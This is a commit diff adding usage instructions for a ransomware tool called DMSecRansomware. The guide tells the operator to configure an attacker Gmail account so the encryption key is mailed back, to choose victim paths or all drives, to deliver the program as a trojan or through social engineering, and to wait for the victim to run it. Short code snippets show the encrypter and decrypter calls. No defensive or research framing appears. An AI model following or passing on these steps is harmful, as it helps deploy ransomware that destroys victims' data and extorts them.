Create HowToUse.md

ransomwares/dmsec/HowToUse.md

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+# How to use DMSecRansomware
+
+#### **Author**: [Dhrumil Mistry](https://github.com/dmdhrumilmistry)
+
+## Encrypting data
+- Turn on 2FA in attacker's gmail account.
+- Create app password
+- Update `dmsec_ransomware.py` with email and app password to login to your gmail account. This is used to receive key to decrypt the files.
+
+  ```python
+  encrypter = DMSECEncrypter(PATHS, gmail='yourgmailid', passwd='yourapppassword')
+  ```
+- Specify path which is to be encrypted.
+- If all the drives are to be decrypted do not pass PATHS to the DMSECEncrypter
+
+  ```python
+  encrypter = DMSECEncrypter(gmail='yourgmailid', passwd='yourapppassword')
+  ```
+- Create a trojan or use social engineering and send file to the victim.
+- Wait for victim to execute the trojan.
+
+
+## Decrypting Data
+- Use `decrypter.py` to decrypt the encrypted files.
+- Edit paths to be decrypted in `decrypter.py` file. If all the drives are to be decrypted do not pass PATHS to DMSECDecrypter
+
+  ```python
+  encrypter = DMSECDecrypter(KEY)
+  ```
+- Use the key which was received on mail to decrypt the data
+